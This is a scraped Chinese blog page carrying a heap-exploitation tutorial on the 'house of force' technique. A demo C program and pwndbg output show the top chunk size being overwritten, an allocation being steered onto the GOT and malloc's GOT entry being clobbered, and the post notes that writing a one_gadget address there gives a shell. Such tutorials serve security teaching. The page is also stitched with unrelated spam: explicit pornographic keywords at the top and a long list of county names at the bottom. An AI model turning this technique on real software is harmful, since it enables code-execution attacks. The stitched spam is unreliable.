五月天青色头像情侣网名,国产亚洲av片在线观看18女人,黑人巨茎大战俄罗斯美女,扒下她的小内裤打屁股

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

二進(jìn)制安全之堆溢出(系列)—— house of force

2020-03-27 14:17 作者:匯智知了堂  | 我要投稿

原理

源于論文:The malloc maleficarum

利用條件

能夠以溢出的方式控制到top chunk的size域

能夠自由地控制堆分配尺寸的大小

可以構(gòu)造size拿到top chunk本身之外的內(nèi)存,如libc的內(nèi)存空間

Demo

#include<stdio.h>

#include<malloc.h>

#include<unistd.h>

#include<string.h>

int main(){

? ? long *p = malloc(0x10);

? ? sleep(0);

? ? *(p+0x3) = -1;

? ? sleep(0);

? ? malloc(-4120);

? ? sleep;

? ? void *q = malloc(0x10);

? ? strcpy(q,"aaaaaaaa");

? ? malloc(0);

? ? sleep(0);

? ? return 0;

}

調(diào)試

初始堆塊

pwndbg> heap

0x602000 FASTBIN {

prev_size = 0,?

size = 33,?

fd = 0x0,? ? ? ? ? ? ? ? ? ? ? ?-->p指針指向fd

bk = 0x0,?

fd_nextsize = 0x0,?

bk_nextsize = 0x20fe1

}

0x602020 PREV_INUSE {

prev_size = 0,?

size = 135137,?

fd = 0x0,?

bk = 0x0,?

fd_nextsize = 0x0,?

bk_nextsize = 0x0

}

?

pwndbg> x/20gz 0x602000

0x602000:? ?0x0000000000000000? 0x0000000000000021

0x602010:? ?0x0000000000000000? 0x0000000000000000

0x602020:? ?0x0000000000000000? 0x0000000000020fe1

0x602030:? ?0x0000000000000000? 0x0000000000000000

從內(nèi)存布局可以看到(p+0x3)指向top chunk的size位

修改top chunk的size位后

pwndbg> x/20gz 0x602000

0x602000:? ?0x0000000000000000? 0x0000000000000021

0x602010:? ?0x0000000000000000? 0x0000000000000000

0x602020:? ?0x0000000000000000? 0xffffffffffffffff

malloc(-4120)之后

0x602000 FASTBIN {

prev_size = 0,?

size = 33,?

fd = 0x0,?

bk = 0x0,?

fd_nextsize = 0x0,?

bk_nextsize = 0xffffffffffffeff1

}

0x602020 PREV_INUSE {

prev_size = 0,?

size = 18446744073709547505,? ? -->malloc(-4120)

fd = 0x0,?

bk = 0x0,?

fd_nextsize = 0x0,?

bk_nextsize = 0x0

}

0x601010 PREV_INUSE {? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?//可以看到現(xiàn)在的堆塊已經(jīng)到libc的got表了

prev_size = 140737351970320,?

size = 4105,?

bk = 0x7ffff7ad9230 <__GI___libc_malloc>, //? got_malloc的地址

fd_nextsize = 0x0 <__sleep>,? ? ? ? ? ? ? ? ? ? ? ? ?//? got_sleep的地址

bk_nextsize = 0x0

}

malloc(-4120)的原因:當(dāng)堆可分配的內(nèi)存分配完之后就會(huì)到頂層的bss段,這里也不一定是-4120

再次申請(qǐng)內(nèi)存 q

0x601010 FASTBIN {

prev_size = 140737351970320,?

size = 33,?

fd = 0x7ffff7a91130 <__GI___libc_malloc>,?

bk = 0x7ffff7ad9230 <__sleep>,?

fd_nextsize = 0x0,?

bk_nextsize = 0xfe9

}

相當(dāng)于把got表所在的內(nèi)存空間malloc下來了

向 q 中寫入aaaaaaaa

0x601010 FASTBIN {

prev_size = 140737351970320,?

size = 33,?

fd = 0x6161616161616161,? ? //aaaaaaaa

bk = 0x7ffff7ad9200 <alarm>,?

fd_nextsize = 0x0,?

bk_nextsize = 0xfe9

}

再次malloc(0)

報(bào)錯(cuò)

因?yàn)樯厦鎸懭氲腶aaaaaaa已經(jīng)把malloc_got的內(nèi)容修改為了aaaaaaaa

這里我么可以寫入onegadget的地址,就能getshell


二進(jìn)制安全之堆溢出(系列)—— house of force的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國家法律
镇坪县| 抚宁县| 灵宝市| 阿拉善左旗| 盐池县| 澳门| 南丰县| 上饶市| 泾阳县| 武定县| 岐山县| 布拖县| 清新县| 阜南县| 大冶市| 栖霞市| 双牌县| 望江县| 龙岩市| 阿城市| 金门县| 东至县| 桓台县| 怀集县| 兴城市| 越西县| 余姚市| 嫩江县| 朝阳市| 九龙坡区| 三明市| 如东县| 通河县| 卓资县| 芦山县| 多伦县| 北票市| 鄂托克旗| 南阳市| 丹江口市| 澄城县|